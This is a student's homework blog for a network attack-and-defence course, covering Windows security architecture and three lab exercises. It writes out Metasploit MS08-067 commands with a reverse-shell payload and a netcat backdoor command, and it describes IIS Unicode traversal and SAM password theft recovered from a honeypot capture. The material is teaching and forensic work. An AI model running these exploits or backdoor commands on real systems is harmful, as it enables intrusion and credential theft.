20199304 2019-2020-2 《网络攻防实践》第7周作业
本次作业属于那个课程 | 《网络攻防实践》 |
---|---|
这个作业要求在哪里 | 第七次作业 Windows操作系统安全攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术、掌握网络攻防相关能力 |
这个作业在哪个具体方面帮助我实现目标 | 学习windows下的相关系统安全攻防技术 |
作业正文 | 见正文 |
1.实践内容
1.1 Windows操作系统基本框架概述
- Windows操作系统的基本结构示意图如下:
- Windows操作系统内核的基本模块:
组件 | 说明 |
---|---|
windows执行体 | 包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。 |
windows内核 | 是由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。 |
设备驱动程序 | 硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。 |
硬件抽象层 | 指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。 |
窗口和图形系统 | 实现了图形用户界面函数。 |
- Windows橾作系统布用户态的代码模块:
模块 | 介绍 |
---|---|
系统支持进程 | Windows开机自动启动的系统内建服务进程 |
环境子系统服务进程 | 为操作系统运行环境提供支待的服务进程 |
服务进程 | :通过Windows的服务管理机制所启动的一 系列系统及网络服务 |
用户应用软件 | 在用户态执行的各类用户应用软件 |
核心子系统DLL | 即kemel32.dll/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件 |
-
Windows进程和线程管理机制:Windows将进程视作可执行程序运行时刻的容器,其进程与线程结构示意图如下。Windows线程是指令执行的具体载体,其线程控制块TCB中包含程序执行的上下文信息等;
-
Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区和用户内存区间两部分,对虚拟内存布局空间的深入分析与了解是理解Windows平台软件渗透攻击过程的基本条件;
-
Windows文件管理机制:Windows使用NTFS(NT File System)管理文件系统,NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性;Windows上可执行文件采用PE(Portable Executable)格式,其结构如下;
-
Windows注册表管理机制:Windows注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色;注册表中的系统自启动挂接点(Auto Start Extensibility Points,ASEP)是注册应用软件可以随系统引导而自动运行,因此也是很多恶意代码及流氓软件普遍的攻击目标;
-
Windows网络机制:
1.2 Windows操作系统的安全体系结构与机制
-
windows安全体系结构
-
windows的安全体系结构基于引用监控器这一经典的安全模型。
-
其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制
-
-
windows身份认证机制与授权、访问控制机制
-
windows下的身份通过一个唯一的SID安全符进行标识
-
windows为每个用户和计算机设置账户进行管理,并引入用户组来简化用户管理
-
windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中。
-
winlogon、GINA、LSASS服务通过协作来完成本地身份认证的过程。
-
在程序进程控制块中包含一个安全访问令牌,继承了启动进程的账户的所有访问令牌。
-
windows下所有需要保护的内容都被抽象成对象,每个对象会关联一个SD安全描述符。主要由如下属性组成
-
属性 | 描述 |
---|---|
Owner SID | 对象所有者的SID |
Group SID | 对象所在组的SID |
DACL自主访问控制列表 | 指明了那些安全主题可以以何种方式访问该对象 |
SACL系统审计访问控制列表 | 指明了那些主体发起的那些访问需要被审计 |
-
windows安全审计机制和其他安全机制
- LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
- 再次之外,安全中心还具有防火墙、补丁自动更新、病毒防护机制。
- 安全中心之外还有,IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等。
1.3 Windows远程安全攻防技术
-
目前Windows远程攻击技术可以分为如下几类:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户;
-
漏洞的利用、发现及修补:这个主要是黑客和厂商之间的一种平衡协议,黑客发现漏洞告知厂商,厂商给予一定的回报,然后待厂商修补漏洞并公开发布之后,黑客可以发布漏洞的一些攻击代码;
-
安全漏洞公开披露信息库:CVE(Common Vulnerability Exposures,通用漏洞披露库)、NVD(National Vulnerability Database)、OSVDB则是由安全社区创建的一个独立的、开源的安全漏洞信息库;
-
针对特定目标的渗透测试攻击过程:针对特定目标典型的渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试这几个环节;
-
使用Metasploit软件实施渗透测试,软件结构图如下:(书上的图都成一片黑煤炭了,所以自己画了个图)
-
Metasploit Console终端中支持的主要命令列表:
-
Windows远程口令猜测与破解攻击:Windows通过基于服务器消息块(Server Message Block,SMB)协议承载的文件与打印共享服务来为网络用户提供远程访问文件系统和打印机的支持;远程口令字交换通信窃听与破解中常用的网络身份认证协议为LanMan、NTLM和Kerberos,其中Kerberos的上面有介绍;
-
远程口令猜测与破解的防范措施:最根本的是用户设置强口令;其次有尽量关闭不必要开放的易受远程口令猜测攻击网络服务;配置主机防火墙来限制对上述端口的服务、利用网络防火墙来限制服务等;
-
Windows网络服务远程渗透攻击:
-
通过这些默认开房端口所提供的网络及本地服务一直以来都是Windows系统远程渗透攻击和恶意代码主动传播的主要目标;
-
Windows服务中主要的渗透攻击有: 针对SMB网络服务的漏洞攻击、针对MSRPC网络服务的漏洞攻击、针对Windows系统上微软网络服务的远程渗透攻击、针对Windows系统上第三方网络服务的远程渗透攻击;
-
网络服务远程渗透攻击的防范措施:从软件设计开发根源上尽可能减少安全漏洞的出现,及时进行漏洞补丁修护;作为系统管理员和使用者,应尽可能快速更新与应用软件安全补丁;在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间中,
-
管理员要尽快对安全敏感的服务器做测试和实施可用的攻击缓解配置;利用服务软件厂商及社区提供的安全核对清单来对服务进行安全配置,利用一些安全插件;利用漏洞扫描软件扫描漏洞及时进行修复等;
1.4 Windows本地安全攻防技术
- windows本地特权提升
- 本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
- 防范措施:及时打补丁、及时跟进厂家的安全警告
- windows敏感信息窃取
- 包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
- 防范措施:使用安全度高、能抵挡破解的口令
- windows消灭踪迹
- 主要手段包括、关闭审计功能、清理事件日志。
- 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
- 远程控制与后门
- 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
- 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2.实践过程
实践1:Metasploit Windows Attack
- 任务:使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权;
- 1.选择的主机信息如下:
虚拟机 | ip |
---|---|
攻击机Kali: | 192.168.200.3 |
靶机Win2KServer: | 192.168.200.124 |
- 2.kali中输入
msfconsole
启动kali里面的msfconsole:
- 3.输入
search ms08_067
查看漏洞ms08_067详细信息:
- 4.输入
exploit/windows/smb/ms08_067_netapi
,然后输入show payloads
显示可攻击载荷:
- 5.输入
set payload generic/shell_reverse_tcp
设置攻击的载荷为tcp的反向连接,然后输入set LHOST 192.168.200.3
设置渗透攻击的主机是kali,输入set RHOST 192.168.200.124
设置渗透攻击的靶机IP:
- 6.输入
exploit
开始渗透攻击:
- 7.输入指令
ipconfig
,得出靶机IP地址,攻击成功:
实践2:取证分析实践:解码一次成功的NT系统破解攻击
-
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
-
1.用wireshark打开.log文件,点击统计->http->请求,得到下图。大致可以推出这是在打开网页,因此其中比较突出的部分就应该是攻击代码:
-
2.根据题目先进行一下筛选
ip.src == 213.116.251.162 && ip.dst ==172.16.1.106
,可以发现攻击者一开始进行了HTTP访问,追踪数据流可以发现发起http请求的主机系统信息NT5.0以及响应http请求的服务端主机安装了IIS4.0服务组件。
-
3.接着发现一个报文:Get请求后面加上了一些东西,指向了系统启动文件boot.ini,研究get后面的内容发现【%C0%AF】为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。关于Unicode漏洞的说明:IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
-
4.继续往下有一个指向了一个msadcs.dll的数据包,通过搜索特征码ADM!ROX!YOUR!WORLD,得知是msadc.pl/msadc2.pl渗透脚本工具。并在msadcs.dll存在的MDAC RDS漏洞进行SQL注入
-
5.接下来使用
http.request.uri contains "msadc"
进行筛选,可以看到攻击机成功上传了工具,因为攻击者密码写错了重复了几次
-
6.然后攻击者使用
c+nc+-l+-p+6969+-e+cmd1.exe
打开后门
-
7.尝试提升本地权限,向yay.txt和yay2.txt的文件内写指令,失败后又尝试查看用户组信息,将IUSR加入本地管理员组
-
8.获取SAM备份,在上一步获取权限之后转而去继续获取SAM密码。这次rdisk /s-备份关键系统信息,在%systemroot% epair中会创建一个sam._的SAM压缩拷贝。
-
9.然后发现又开启了一个远程shell,成功的获取到了SAM的值,并写入文件har.txt,将SAM备份文件拷贝到IIS的根目录inetpub,并通过web方式进行了下载
-
10.如何防止这样的攻击:(1)直接防御措施:打补丁(2)进一步防御措施:禁用用不着的RDS等服务;防火墙封禁网络内部服务器发起的连接;为web server在单独的文件卷上设置虚拟根目录;使用NTFS文件系统,因为FAT几乎不提供安全功能;使用IIS Lockdown 和URLScan 等工具加强web server。
-
11.攻击者警觉了他的目标是一台蜜罐主机,在4351号数据包,攻击者写了这是他见过的最好的蜜罐。
实践3团队对抗实践:windows系统远程渗透攻击和分析。
-
攻方使用metaploit选择漏洞进行攻击,获得控制权。
-
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
-
1.攻击步骤如实践1;
-
2.在执行exploit时,进行wireshark抓包:
- 源地址192.168.200.2;目标地址192.168.200.124;
- 源端口4444;目标端口1042;
- 攻击发起时间:从ARP协议的询问开始;
- 使用命令为:ipconfig;
- 由大量的SMB数据包可以推断出是使用MS08-067漏洞攻击;
3.学习中遇到的问题及解决
- 问题1:实践1时
msfconsole
报错,下载更新msfconsole
时又报错。 - 问题1解决方案:kali换源 ;kali分配ip
4.实践总结
最近这几天忙炸了···还好按时完成了博客,本次实践总体难度不大,但分析时一直有困难,对于一些原理上的内容还是理解的不够透彻。